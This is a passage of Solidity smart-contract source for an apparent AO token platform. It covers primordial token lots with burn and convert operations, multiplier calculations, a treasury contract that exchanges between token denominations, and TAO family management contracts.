function totalBurnLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedBurnLots[_lotOwner].length;
}
/**
* @dev Return the burn lot information at a given ID
* @param _burnLotId The burn lot ID in question
* @return id of the lot
* @return The address of the burn lot owner
* @return Primordial token amount in the burn lot
*/
function burnLotById(bytes32 _burnLotId) public view returns (bytes32, address, uint256) {
BurnLot memory _burnLot = burnLots[_burnLotId];
return (_burnLot.burnLotId, _burnLot.lotOwner, _burnLot.tokenAmount);
}
/**
* @dev Return all Convert Lot IDs owned by an address
* @param _lotOwner The address of the convert lot owner
* @return array of Convert Lot IDs
*/
function convertLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedConvertLots[_lotOwner];
}
/**
* @dev Return the total convert lots owned by an address
* @param _lotOwner The address of the convert lot owner
* @return total convert lots owner by the address
*/
function totalConvertLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedConvertLots[_lotOwner].length;
}
/**
* @dev Return the convert lot information at a given ID
* @param _convertLotId The convert lot ID in question
* @return id of the lot
* @return The address of the convert lot owner
* @return Primordial token amount in the convert lot
*/
function convertLotById(bytes32 _convertLotId) public view returns (bytes32, address, uint256) {
ConvertLot memory _convertLot = convertLots[_convertLotId];
return (_convertLot.convertLotId, _convertLot.lotOwner, _convertLot.tokenAmount);
}
/**
* @dev Return the average weighted multiplier of all lots owned by an address
* @param _lotOwner The address of the lot owner
* @return the weighted multiplier of the address (in 10 ** 6)
*/
function weightedMultiplierByAddress(address _lotOwner) public view returns (uint256) {
return ownerWeightedMultiplier[_lotOwner];
}
/**
* @dev Return the max multiplier of an address
* @param _target The address to query
* @return the max multiplier of the address (in 10 ** 6)
*/
function maxMultiplierByAddress(address _target) public view returns (uint256) {
return (ownedLots[_target].length > 0) ? ownerMaxMultiplier[_target] : 0;
}
/**
* @dev Calculate the primordial token multiplier, bonus network token percentage, and the
* bonus network token amount on a given lot when someone purchases primordial token
* during network exchange
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @return The multiplier in (10 ** 6)
* @return The bonus percentage
* @return The amount of network token as bonus
*/
function calculateMultiplierAndBonus(uint256 _purchaseAmount) public view returns (uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier, uint256 endingPrimordialMultiplier, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables();
return (
AOLibrary.calculatePrimordialMultiplier(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingPrimordialMultiplier, endingPrimordialMultiplier),
AOLibrary.calculateNetworkTokenBonusPercentage(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier),
AOLibrary.calculateNetworkTokenBonusAmount(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier)
);
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* @param _account The address of the account
* @return The maximum primordial token amount to burn
*/
function calculateMaximumBurnAmount(address _account) public view returns (uint256) {
return AOLibrary.calculateMaximumBurnAmount(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], ownerMaxMultiplier[_account]);
}
/**
* @dev Calculate account's new multiplier after burn `_amountToBurn` primordial tokens
* @param _account The address of the account
* @param _amountToBurn The amount of primordial token to burn
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterBurn(address _account, uint256 _amountToBurn) public view returns (uint256) {
require (calculateMaximumBurnAmount(_account) >= _amountToBurn);
return AOLibrary.calculateMultiplierAfterBurn(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToBurn);
}
/**
* @dev Calculate account's new multiplier after converting `amountToConvert` network token to primordial token
* @param _account The address of the account
* @param _amountToConvert The amount of network token to convert
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterConversion(address _account, uint256 _amountToConvert) public view returns (uint256) {
return AOLibrary.calculateMultiplierAfterConversion(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToConvert);
}
/**
* @dev Convert `_value` of network tokens to primordial tokens
* and re-weight the account's multiplier after conversion
* @param _value The amount to convert
* @return true on success
*/
function convertToPrimordial(uint256 _value) public returns (bool success) {
require (balanceOf[msg.sender] >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterConversion(msg.sender, _value);
// Burn network token
burn(_value);
// mint primordial token
_mintPrimordialToken(msg.sender, _value);
// Store convert lot info
totalConvertLots++;
// Generate convert lot Id
bytes32 convertLotId = keccak256(abi.encodePacked(this, msg.sender, totalConvertLots));
// Make sure no one owns this lot yet
require (convertLots[convertLotId].lotOwner == address(0));
ConvertLot storage convertLot = convertLots[convertLotId];
convertLot.convertLotId = convertLotId;
convertLot.lotOwner = msg.sender;
convertLot.tokenAmount = _value;
ownedConvertLots[msg.sender].push(convertLotId);
emit ConvertLotCreation(convertLot.lotOwner, convertLot.convertLotId, convertLot.tokenAmount, ownerWeightedMultiplier[convertLot.lotOwner]);
return true;
}
/***** NETWORK TOKEN & PRIMORDIAL TOKEN METHODS *****/
/**
* @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from your account
* @param _to The address of the recipient
* @param _value The amount of network tokens to send
* @param _primordialValue The amount of Primordial tokens to send
* @return true on success
*/
function transferTokens(address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.transfer(_to, _value));
require (transferPrimordialToken(_to, _primordialValue));
return true;
}
/**
* @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of network tokens tokens to send
* @param _primordialValue The amount of Primordial tokens to send
* @return true on success
*/
function transferTokensFrom(address _from, address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.transferFrom(_from, _to, _value));
require (transferPrimordialTokenFrom(_from, _to, _primordialValue));
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf
* @param _spender The address authorized to spend
* @param _value The max amount of network tokens they can spend
* @param _primordialValue The max amount of network tokens they can spend
* @return true on success
*/
function approveTokens(address _spender, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.approve(_spender, _value));
require (approvePrimordialToken(_spender, _primordialValue));
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf, and then ping the contract about it
* @param _spender The address authorized to spend
* @param _value The max amount of network tokens they can spend
* @param _primordialValue The max amount of Primordial Tokens they can spend
* @param _extraData some extra information to send to the approved contract
* @return true on success
*/
function approveTokensAndCall(address _spender, uint256 _value, uint256 _primordialValue, bytes _extraData) public returns (bool success) {
require (super.approveAndCall(_spender, _value, _extraData));
require (approvePrimordialTokenAndCall(_spender, _primordialValue, _extraData));
return true;
}
/**
* @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly
* @param _value The amount of network tokens to burn
* @param _primordialValue The amount of Primordial tokens to burn
* @return true on success
*/
function burnTokens(uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.burn(_value));
require (burnPrimordialToken(_primordialValue));
return true;
}
/**
* @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly on behalf of `_from`
* @param _from The address of sender
* @param _value The amount of network tokens to burn
* @param _primordialValue The amount of Primordial tokens to burn
* @return true on success
*/
function burnTokensFrom(address _from, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.burnFrom(_from, _value));
require (burnPrimordialTokenFrom(_from, _primordialValue));
return true;
}
/***** INTERNAL METHODS *****/
/***** PRIMORDIAL TOKEN INTERNAL METHODS *****/
/**
* @dev Calculate the amount of token the buyer will receive and remaining budget if exist
* when he/she buys primordial token
* @param _budget The amount of ETH sent by buyer
* @return uint256 of the tokenAmount the buyer will receiver
* @return uint256 of the remaining budget, if exist
* @return bool whether or not the network exchange should end
*/
function _calculateTokenAmountAndRemainderBudget(uint256 _budget) internal view returns (uint256, uint256, bool) {
// Calculate the amount of tokens
uint256 tokenAmount = _budget.div(primordialBuyPrice);
// If we need to return ETH to the buyer, in the case
// where the buyer sends more ETH than available primordial token to be purchased
uint256 remainderEth = 0;
// Make sure primordialTotalBought is not overflowing
bool shouldEndNetworkExchange = false;
if (primordialTotalBought.add(tokenAmount) >= TOTAL_PRIMORDIAL_FOR_SALE) {
tokenAmount = TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought);
shouldEndNetworkExchange = true;
remainderEth = msg.value.sub(tokenAmount.mul(primordialBuyPrice));
}
return (tokenAmount, remainderEth, shouldEndNetworkExchange);
}
/**
* @dev Actually sending the primordial token to buyer and reward AO devs accordingly
* @param tokenAmount The amount of primordial token to be sent to buyer
* @param to The recipient of the token
*/
function _sendPrimordialTokenAndRewardDev(uint256 tokenAmount, address to) internal {
(uint256 startingPrimordialMultiplier,, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables();
// Update primordialTotalBought
(uint256 multiplier, uint256 networkTokenBonusPercentage, uint256 networkTokenBonusAmount) = calculateMultiplierAndBonus(tokenAmount);
primordialTotalBought = primordialTotalBought.add(tokenAmount);
_createPrimordialLot(to, tokenAmount, multiplier, networkTokenBonusAmount);
// Calculate The AO and AO Dev Team's portion of Primordial and Network Token Bonus
uint256 inverseMultiplier = startingPrimordialMultiplier.sub(multiplier); // Inverse of the buyer's multiplier
uint256 theAONetworkTokenBonusAmount = (startingNetworkTokenBonusMultiplier.sub(networkTokenBonusPercentage).add(endingNetworkTokenBonusMultiplier)).mul(tokenAmount).div(AOLibrary.PERCENTAGE_DIVISOR());
if (aoDevTeam1 != address(0)) {
_createPrimordialLot(aoDevTeam1, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2));
}
if (aoDevTeam2 != address(0)) {
_createPrimordialLot(aoDevTeam2, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2));
}
_mintToken(theAO, theAONetworkTokenBonusAmount);
}
/**
* @dev Create a lot with `primordialTokenAmount` of primordial tokens with `_multiplier` for an `account`
* during network exchange, and reward `_networkTokenBonusAmount` if exist
* @param _account Address of the lot owner
* @param _primordialTokenAmount The amount of primordial tokens to be stored in the lot
* @param _multiplier The multiplier for this lot in (10 ** 6)
* @param _networkTokenBonusAmount The network token bonus amount
*/
function _createPrimordialLot(address _account, uint256 _primordialTokenAmount, uint256 _multiplier, uint256 _networkTokenBonusAmount) internal {
totalLots++;
// Generate lotId
bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots));
// Make sure no one owns this lot yet
require (lots[lotId].lotOwner == address(0));
Lot storage lot = lots[lotId];
lot.lotId = lotId;
lot.multiplier = _multiplier;
lot.lotOwner = _account;
lot.tokenAmount = _primordialTokenAmount;
ownedLots[_account].push(lotId);
ownerWeightedMultiplier[_account] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_account], primordialBalanceOf[_account], lot.multiplier, lot.tokenAmount);
// If this is the first lot, set this as the max multiplier of the account
if (ownedLots[_account].length == 1) {
ownerMaxMultiplier[_account] = lot.multiplier;
}
_mintPrimordialToken(_account, lot.tokenAmount);
_mintToken(_account, _networkTokenBonusAmount);
emit LotCreation(lot.lotOwner, lot.lotId, lot.multiplier, lot.tokenAmount, _networkTokenBonusAmount);
}
/**
* @dev Create `mintedAmount` Primordial tokens and send it to `target`
* @param target Address to receive the Primordial tokens
* @param mintedAmount The amount of Primordial tokens it will receive
*/
function _mintPrimordialToken(address target, uint256 mintedAmount) internal {
primordialBalanceOf[target] = primordialBalanceOf[target].add(mintedAmount);
primordialTotalSupply = primordialTotalSupply.add(mintedAmount);
emit PrimordialTransfer(0, this, mintedAmount);
emit PrimordialTransfer(this, target, mintedAmount);
}
/**
* @dev Create a lot with `tokenAmount` of tokens at `weightedMultiplier` for an `account`
* @param _account Address of lot owner
* @param _tokenAmount The amount of tokens
* @param _weightedMultiplier The multiplier of the lot (in 10^6)
* @return bytes32 of new created lot ID
*/
function _createWeightedMultiplierLot(address _account, uint256 _tokenAmount, uint256 _weightedMultiplier) internal returns (bytes32) {
require (_account != address(0));
require (_tokenAmount > 0);
totalLots++;
// Generate lotId
bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots));
// Make sure no one owns this lot yet
require (lots[lotId].lotOwner == address(0));
Lot storage lot = lots[lotId];
lot.lotId = lotId;
lot.multiplier = _weightedMultiplier;
lot.lotOwner = _account;
lot.tokenAmount = _tokenAmount;
ownedLots[_account].push(lotId);
// If this is the first lot, set this as the max multiplier of the account
if (ownedLots[_account].length == 1) {
ownerMaxMultiplier[_account] = lot.multiplier;
}
return lotId;
}
/**
* @dev Send `_value` Primordial tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transferPrimordialToken(address _from, address _to, uint256 _value) internal returns (bool) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (primordialBalanceOf[_from] >= _value); // Check if the sender has enough
require (primordialBalanceOf[_to].add(_value) >= primordialBalanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = primordialBalanceOf[_from].add(primordialBalanceOf[_to]);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Subtract from the sender
primordialBalanceOf[_to] = primordialBalanceOf[_to].add(_value); // Add the same to the recipient
emit PrimordialTransfer(_from, _to, _value);
assert(primordialBalanceOf[_from].add(primordialBalanceOf[_to]) == previousBalances);
return true;
}
/**
* @dev Store burn lot information
* @param _account The address of the account
* @param _tokenAmount The amount of primordial tokens to burn
*/
function _createBurnLot(address _account, uint256 _tokenAmount) internal {
totalBurnLots++;
// Generate burn lot Id
bytes32 burnLotId = keccak256(abi.encodePacked(this, _account, totalBurnLots));
// Make sure no one owns this lot yet
require (burnLots[burnLotId].lotOwner == address(0));
BurnLot storage burnLot = burnLots[burnLotId];
burnLot.burnLotId = burnLotId;
burnLot.lotOwner = _account;
burnLot.tokenAmount = _tokenAmount;
ownedBurnLots[_account].push(burnLotId);
emit BurnLotCreation(burnLot.lotOwner, burnLot.burnLotId, burnLot.tokenAmount, ownerWeightedMultiplier[burnLot.lotOwner]);
}
/**
* @dev Get setting variables
* @return startingPrimordialMultiplier The starting multiplier used to calculate primordial token
* @return endingPrimordialMultiplier The ending multiplier used to calculate primordial token
* @return startingNetworkTokenBonusMultiplier The starting multiplier used to calculate network token bonus
* @return endingNetworkTokenBonusMultiplier The ending multiplier used to calculate network token bonus
*/
function _getSettingVariables() internal view returns (uint256, uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingPrimordialMultiplier');
(uint256 endingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingPrimordialMultiplier');
(uint256 startingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingNetworkTokenBonusMultiplier');
(uint256 endingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingNetworkTokenBonusMultiplier');
return (startingPrimordialMultiplier, endingPrimordialMultiplier, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier);
}
}
/**
* @title AOTreasury
*
* The purpose of this contract is to list all of the valid denominations of AO Token and do the conversion between denominations
*/
contract AOTreasury is TheAO {
using SafeMath for uint256;
bool public paused;
bool public killed;
struct Denomination {
bytes8 name;
address denominationAddress;
}
// Mapping from denomination index to Denomination object
// The list is in order from lowest denomination to highest denomination
// i.e, denominations[1] is the base denomination
mapping (uint256 => Denomination) internal denominations;
// Mapping from denomination ID to index of denominations
mapping (bytes8 => uint256) internal denominationIndex;
uint256 public totalDenominations;
// Event to be broadcasted to public when a token exchange happens
event Exchange(address indexed account, uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/**
* @dev Checks if denomination is valid
*/
modifier isValidDenomination(bytes8 denominationName) {
require (denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO adds denomination and the contract address associated with it
* @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.
* @param denominationAddress The address of the denomination token
* @return true on success
*/
function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {
require (denominationName.length != 0);
require (denominationAddress != address(0));
require (denominationIndex[denominationName] == 0);
totalDenominations++;
// Make sure the new denomination is higher than the previous
if (totalDenominations > 1) {
AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations - 1].denominationAddress);
AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress);
require (_newDenominationToken.powerOfTen() > _lastDenominationToken.powerOfTen());
}
denominations[totalDenominations].name = denominationName;
denominations[totalDenominations].denominationAddress = denominationAddress;
denominationIndex[denominationName] = totalDenominations;
return true;
}
/**
* @dev The AO updates denomination address or activates/deactivates the denomination
* @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.
* @param denominationAddress The address of the denomination token
* @return true on success
*/
function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {
require (denominationName.length != 0);
require (denominationIndex[denominationName] > 0);
require (denominationAddress != address(0));
uint256 _denominationNameIndex = denominationIndex[denominationName];
AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress);
if (_denominationNameIndex > 1) {
AOTokenInterface _prevDenominationToken = AOTokenInterface(denominations[_denominationNameIndex - 1].denominationAddress);
require (_newDenominationToken.powerOfTen() > _prevDenominationToken.powerOfTen());
}
if (_denominationNameIndex < totalDenominations) {
AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations].denominationAddress);
require (_newDenominationToken.powerOfTen() < _lastDenominationToken.powerOfTen());
}
denominations[denominationIndex[denominationName]].denominationAddress = denominationAddress;
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Get denomination info based on name
* @param denominationName The name to be queried
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getDenominationByName(bytes8 denominationName) public view returns (bytes8, address, string, string, uint8, uint256) {
require (denominationName.length != 0);
require (denominationIndex[denominationName] > 0);
require (denominations[denominationIndex[denominationName]].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[denominationIndex[denominationName]].denominationAddress);
return (
denominations[denominationIndex[denominationName]].name,
denominations[denominationIndex[denominationName]].denominationAddress,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/**
* @dev Get denomination info by index
* @param index The index to be queried
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string, string, uint8, uint256) {
require (index > 0 && index <= totalDenominations);
require (denominations[index].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/**
* @dev Get base denomination info
* @return the denomination short name
* @return the denomination address
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function getBaseDenomination() public view returns (bytes8, address, string, string, uint8, uint256) {
require (totalDenominations > 1);
return getDenominationByIndex(1);
}
/**
* @dev convert token from `denominationName` denomination to base denomination,
* in this case it's similar to web3.toWei() functionality
*
* Example:
* 9.1 Kilo should be entered as 9 integerAmount and 100 fractionAmount
* 9.02 Kilo should be entered as 9 integerAmount and 20 fractionAmount
* 9.001 Kilo should be entered as 9 integerAmount and 1 fractionAmount
*
* @param integerAmount uint256 of the integer amount to be converted
* @param fractionAmount uint256 of the frational amount to be converted
* @param denominationName bytes8 name of the token denomination
* @return uint256 converted amount in base denomination from target denomination
*/
function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) public view returns (uint256) {
if (denominationName.length > 0 &&
denominationIndex[denominationName] > 0 &&
denominations[denominationIndex[denominationName]].denominationAddress != address(0) &&
(integerAmount > 0 || fractionAmount > 0)) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress);
uint8 fractionNumDigits = _numDigits(fractionAmount);
require (fractionNumDigits <= _denominationToken.decimals());
uint256 baseInteger = integerAmount.mul(10 ** _denominationToken.powerOfTen());
if (_denominationToken.decimals() == 0) {
fractionAmount = 0;
}
return baseInteger.add(fractionAmount);
} else {
return 0;
}
}
/**
* @dev convert token from base denomination to `denominationName` denomination,
* in this case it's similar to web3.fromWei() functionality
* @param integerAmount uint256 of the base amount to be converted
* @param denominationName bytes8 name of the target token denomination
* @return uint256 of the converted integer amount in target denomination
* @return uint256 of the converted fraction amount in target denomination
*/
function fromBase(uint256 integerAmount, bytes8 denominationName) public isValidDenomination(denominationName) view returns (uint256, uint256) {
Denomination memory _denomination = denominations[denominationIndex[denominationName]];
AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress);
uint256 denominationInteger = integerAmount.div(10 ** _denominationToken.powerOfTen());
uint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationToken.powerOfTen()));
return (denominationInteger, denominationFraction);
}
/**
* @dev exchange `amount` token from `fromDenominationName` denomination to token in `toDenominationName` denomination
* @param amount The amount of token to exchange
* @param fromDenominationName The origin denomination
* @param toDenominationName The target denomination
*/
function exchange(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isContractActive isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) {
require (amount > 0);
Denomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]];
Denomination memory _toDenomination = denominations[denominationIndex[toDenominationName]];
AOTokenInterface _fromDenominationToken = AOTokenInterface(_fromDenomination.denominationAddress);
AOTokenInterface _toDenominationToken = AOTokenInterface(_toDenomination.denominationAddress);
require (_fromDenominationToken.whitelistBurnFrom(msg.sender, amount));
require (_toDenominationToken.mintToken(msg.sender, amount));
emit Exchange(msg.sender, amount, fromDenominationName, toDenominationName);
}
/**
* @dev Return the highest possible denomination given a base amount
* @param amount The amount to be converted
* @return the denomination short name
* @return the denomination address
* @return the integer amount at the denomination level
* @return the fraction amount at the denomination level
* @return the denomination public name
* @return the denomination symbol
* @return the denomination num of decimals
* @return the denomination multiplier (power of ten)
*/
function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string, string, uint8, uint256) {
uint256 integerAmount;
uint256 fractionAmount;
uint256 index;
for (uint256 i=totalDenominations; i>0; i--) {
Denomination memory _denomination = denominations[i];
(integerAmount, fractionAmount) = fromBase(amount, _denomination.name);
if (integerAmount > 0) {
index = i;
break;
}
}
require (index > 0 && index <= totalDenominations);
require (integerAmount > 0 || fractionAmount > 0);
require (denominations[index].denominationAddress != address(0));
AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress);
return (
denominations[index].name,
denominations[index].denominationAddress,
integerAmount,
fractionAmount,
_ao.name(),
_ao.symbol(),
_ao.decimals(),
_ao.powerOfTen()
);
}
/***** INTERNAL METHOD *****/
/**
* @dev count num of digits
* @param number uint256 of the nuumber to be checked
* @return uint8 num of digits
*/
function _numDigits(uint256 number) internal pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract Pathos is TAOCurrency {
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {}
}
contract Ethos is TAOCurrency {
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {}
}
/**
* @title TAOController
*/
contract TAOController {
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/**
* @dev Check is msg.sender address is a Name
*/
modifier senderIsName() {
require (_nameFactory.ethAddressToNameId(msg.sender) != address(0));
_;
}
/**
* @dev Check if msg.sender is the current advocate of TAO ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
}
// Store the name lookup for a Name/TAO
/**
* @title TAOFamily
*/
contract TAOFamily is TAOController {
using SafeMath for uint256;
address public taoFactoryAddress;
TAOFactory internal _taoFactory;
struct Child {
address taoId;
bool approved; // If false, then waiting for parent TAO approval
bool connected; // If false, then parent TAO want to remove this child TAO
}
struct Family {
address taoId;
address parentId; // The parent of this TAO ID (could be a Name or TAO)
uint256 childMinLogos;
mapping (uint256 => Child) children;
mapping (address => uint256) childInternalIdLookup;
uint256 totalChildren;
uint256 childInternalId;
}
mapping (address => Family) internal families;
// Event to be broadcasted to public when Advocate updates min required Logos to create a child TAO
event UpdateChildMinLogos(address indexed taoId, uint256 childMinLogos, uint256 nonce);
// Event to be broadcasted to public when a TAO adds a child TAO
event AddChild(address indexed taoId, address childId, bool approved, bool connected, uint256 nonce);
// Event to be broadcasted to public when a TAO approves a child TAO
event ApproveChild(address indexed taoId, address childId, uint256 nonce);
// Event to be broadcasted to public when a TAO removes a child TAO
event RemoveChild(address indexed taoId, address childId, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _taoFactoryAddress)
TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public {
taoFactoryAddress = _taoFactoryAddress;
_taoFactory = TAOFactory(_taoFactoryAddress);
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == taoFactoryAddress);
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a TAO ID exist in the list of families
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return families[_id].taoId != address(0);
}
/**
* @dev Store the Family info for a TAO
* @param _id The ID of the TAO
* @param _parentId The parent ID of this TAO
* @param _childMinLogos The min required Logos to create a TAO
* @return true on success
*/
function add(address _id, address _parentId, uint256 _childMinLogos)
public
isTAO(_id)
isNameOrTAO(_parentId)
onlyFactory returns (bool) {
require (!isExist(_id));
Family storage _family = families[_id];
_family.taoId = _id;
_family.parentId = _parentId;
_family.childMinLogos = _childMinLogos;
return true;
}
/**
* @dev Get Family info given a TAO ID
* @param _id The ID of the TAO
* @return the parent ID of this TAO (could be a Name/TAO)
* @return the min required Logos to create a child TAO
* @return the total child TAOs count
*/
function getFamilyById(address _id) public view returns (address, uint256, uint256) {
require (isExist(_id));
Family memory _family = families[_id];
return (
_family.parentId,
_family.childMinLogos,
_family.totalChildren
);
}
/**
* @dev Set min required Logos to create a child from this TAO
* @param _childMinLogos The min Logos to set
* @return the nonce for this transaction
*/
function updateChildMinLogos(address _id, uint256 _childMinLogos)
public
isTAO(_id)
senderIsName()
onlyAdvocate(_id) {
require (isExist(_id));
Family storage _family = families[_id];
_family.childMinLogos = _childMinLogos;
uint256 _nonce = _taoFactory.incrementNonce(_id);
require (_nonce > 0);
emit UpdateChildMinLogos(_id, _family.childMinLogos, _nonce);
}
/**
* @dev Check if `_childId` is a child TAO of `_taoId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to check
* @return true if yes. Otherwise return false.
*/
function isChild(address _taoId, address _childId) public view returns (bool) {
